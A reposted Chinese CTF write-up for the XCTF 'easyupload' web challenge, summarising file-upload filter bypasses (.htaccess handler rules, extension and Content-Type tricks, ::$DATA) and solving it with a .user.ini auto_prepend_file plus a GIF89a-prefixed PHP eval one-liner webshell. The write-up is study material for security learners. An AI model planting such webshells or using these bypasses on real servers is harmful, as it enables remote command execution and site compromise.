文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

攻防世界easyupload (web新手)

2023-09-08 06:54

关注

文章目录

XCTF - easyupload


典型的文件上传,本题涉及知识点

其实这个题目是文件上传漏洞中相对来说不是很常见的题目,说实话也是涉及了我的知识盲区,在此之前我对文件上传漏洞有一些总结如下,都尝试过后发现没有能用的。

文件上传漏洞前期总结

1. JavaScript 防御

检测发生在浏览器端(本地检测)

  1. 禁止JS
  2. 先改名后抓包最后改名改包
  3. 右键 复制图片地址
  4. 猜到链接

点击上传之后马上弹窗,

右键查看源码

  1. .jpg .png .jif 允许
  2. Php

2. Content-Type: text/php 进行检测非图片即禁止

  1. 抓包–上传
  2. 修改Content-Type,改为 image/jpeg

3. 上传名称后缀为.phtml .phps .php5 .pht

4. Apache .htaccess

  1. 创建 .htaccess
  2. 写入解析规则
  3. SetHandler application/x-httpd-php //所有文件都当作php执行
  4. AddType application/x-httpd-php .jpg //将.jpg文件当作php文件解析
  5. SetHandler application/x-httpd-php //将包含1.jpg文件名
    的文件解析为php

5. windows空格绕过

- Windows系统不允许最后一个字符是空格之类的特殊符号- 如果上传文件的最后一个字符是空格,会自动去掉

6. ::$DATA绕过

php+windows的情况下:如果文件名+“::$DATA”

7. 双写绕过 (phpphp)

.user.ini绕过

.user.ini中两个中的配置就是auto_prepend_fileauto_append_file。这两个配置的意思就是:我们指定一个文件(如1.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),相当于在index.php中插入一句:require(./1.jpg)。这两个设置的区别只是在于auto_prepend_file是在文件前插入,auto_append_file在文件最后插入。

利用.user.ini的前提是服务器开启了CGI或者FastCGI,并且上传文件的存储路径下有index.php可执行文件。
所以本题我们要想上传并且执行,首先上传.user.ini文件,然后上传一个图片。


注意:.user.ini在mac下是直接不显示的,所以这里我们直接创建一个1.user.ini,然后进行抓包改包即可。

上传过程中发现,被过滤了,肯定是文件的内容被检测到不是图片,我们将Content-Type修改为图片格式尝试一下:

修改Content-Type后,发现上传成功,接下来直接上传shell.jpg即可。直接创建一个一句话木马的txt。修改后缀为.jpg,

eval($_POST['cmd']);?>


上传后发现依然被检测,仔细一看,文件头和content type对不起来,添加文件头尝试:

GIF89a<?=eval($_REQUEST['cmd']);?>

在这里用其他版本的一句话容易被检测,测试了好几次发现这个比较好用,此时我们需要用到另一个知识点:.user.inishell.jpg同一目录下的所有php文件都会包含shell.jpg文件。这样就很好办了,我们看看uploads文件夹下是否有php文件,再次上传一个正常图片后,发现跳转网页中有/uploads/index.php

运用仪剑进行连接

此时一定要注意,连接的地址为xxx/uploads/index.php

在根目录下发现flag。


其实在这里我们就比较好理解了,我们首先上传.user.ini的目的是本目录下所制定的文件被php文件所包含,其实相当于三个文件必须同时存在才会满足这个条件。

来源地址:https://blog.csdn.net/yuanxu8877/article/details/128071631

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯